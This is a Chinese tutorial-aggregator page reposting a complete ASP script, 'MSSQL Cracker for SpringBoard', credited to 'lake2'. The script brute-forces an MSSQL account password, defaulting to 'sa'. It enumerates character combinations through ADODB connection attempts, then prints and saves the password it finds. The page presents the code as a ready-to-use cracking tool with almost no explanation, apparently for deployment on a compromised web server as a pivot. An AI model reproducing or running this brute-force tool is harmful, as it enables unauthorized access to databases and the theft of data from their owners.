用ASP实现MSSQL用户密码破解

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了用ASP实现MSSQL用户密码破解，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含3194字，纯文字阅读大概需要5分钟。

内容图文

自己把以下代码保存为ASP文件。当然我还是一如既往的BS那些只改作者名字的家伙。 

代码如下:
<% 
'============ ASP Port Scanner by lake2 =================== 
'http://lake2.0x54.org 
'Version: 0.1 
'For SpringBoard 
'========================================================== 
%> 
<style type="text/css"> 
body,td,th {color: #0000FF;font-family: Verdana, Arial, Helvetica, sans-serif;} 
body {background-color: #ffffff;font-size:14px; } 
a:link {color: #0000FF;text-decoration: none;} 
a:visited {text-decoration: none;color: #0000FF;} 
a:hover {text-decoration: none;color: #FF0000;} 
a:active {text-decoration: none;color: #FF0000;} 
.buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5} 
.TextBox {border: 1px solid #084B8E} 
.styleRed {color: #FF0000} 
</style> 
<title>MSSQL Cracker for SpringBoard</title> 
<% 
Dim Password() 
If Request.Form("go") <> "1" Then 
%> 
 <div align="center">Welcome to <a href="http://lake2.0x54.org" target="_blank">http://lake2.0x54.org</a> </div> 
 <form name="form1" method="post" action="" onSubmit="form1.Submit.disabled=true;"> 
  ConnStr:  
  <input name="conn" type="text" class="TextBox" id="conn" value="Provider=SQLOLEDB.1;Data Source=127.0.0.1;User ID=sa;Password={PASS};" size="70"> 
  <br> 
  Char:      
  <input name="char" type="text" class="TextBox" id="char" value="0123456789" size="30"> 
   <br> 
Length:   
<input name="len" type="text" class="TextBox" id="len" value="3" size="4"> 
<br>  
Path:      
<input name="path" type="text" class="TextBox" value="<%=Server.MapPath("r.txt")%>" size="50"> 
<input name="CFile" type="checkbox" class="TextBox" id="CFile" value="1" checked> 
Enablel<br> 
<input name="go" type="hidden" id="go" value="1"> 
<br> 
<input name="Submit" type="submit" class="buttom" id="Submit" value=" Run "> 
</form> 
<% 
Else 
 timer1 = timer 
 Server.ScriptTimeout = 7776000 
 ConnStr = Request.Form("Conn") 
 Char = request.Form("char") 
 LenChar = Len(Char) 
 ReDim password(LenChar) 
 For i = 1 to LenChar 
  password(i) = Mid(Char, i, 1) 
 Next 
 length = CInt(request.Form("len")) 
 Call LAKE("") 
 response.Write "Done!<br>Process " & tTime & " s" 
 If request.Form("CFile") <> "" Then CreateResult("Done!" & vbcrlf & tTime) 
End If 

Sub LAKE(str) 
 If Len(str) >= length Then Exit Sub 
 For j = 1 to LenChar 
  pass = str & password(j) 
  If Len(pass) = length Then Call Crack(pass) 
  Call LAKE(pass) 
 Next 
End Sub 

Sub Crack(str) 
 On Error Resume Next 
 Set conn = Server.CreateObject("ADODB.connection") 
 conn.open Replace(ConnStr,"{PASS}",str) 
 If Err Then 
  If Err.Number <> -2147217843 Then 
   response.Write(Err.Description & "<BR>") 
   response.End() 
  End If 
 Else 
  response.Write("I Get it ! Password is <font color=red>" & str & "</font><BR>Process " & tTime & " s") 
  If request.Form("CFile") <> "" Then CreateResult(str & vbcrlf & tTime) 
  response.End() 
 End If 
End Sub 

Function tTime() 
 timer2 = timer 
 thetime=cstr(int(timer2-timer1)) 
 tTime = thetime 
End Function 

Sub CreateResult(t) 
 Set fs = CreateObject("Scripting.FileSystemObject")  
 Set outfile = fs.CreateTextFile(request.Form("path")) 
 outfile.WriteLine t 
 Set fs = Nothing 
End Sub 
%> 
 

内容总结

以上是互联网集市为您收集整理的用ASP实现MSSQL用户密码破解全部内容，希望文章能够帮你解决用ASP实现MSSQL用户密码破解所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

---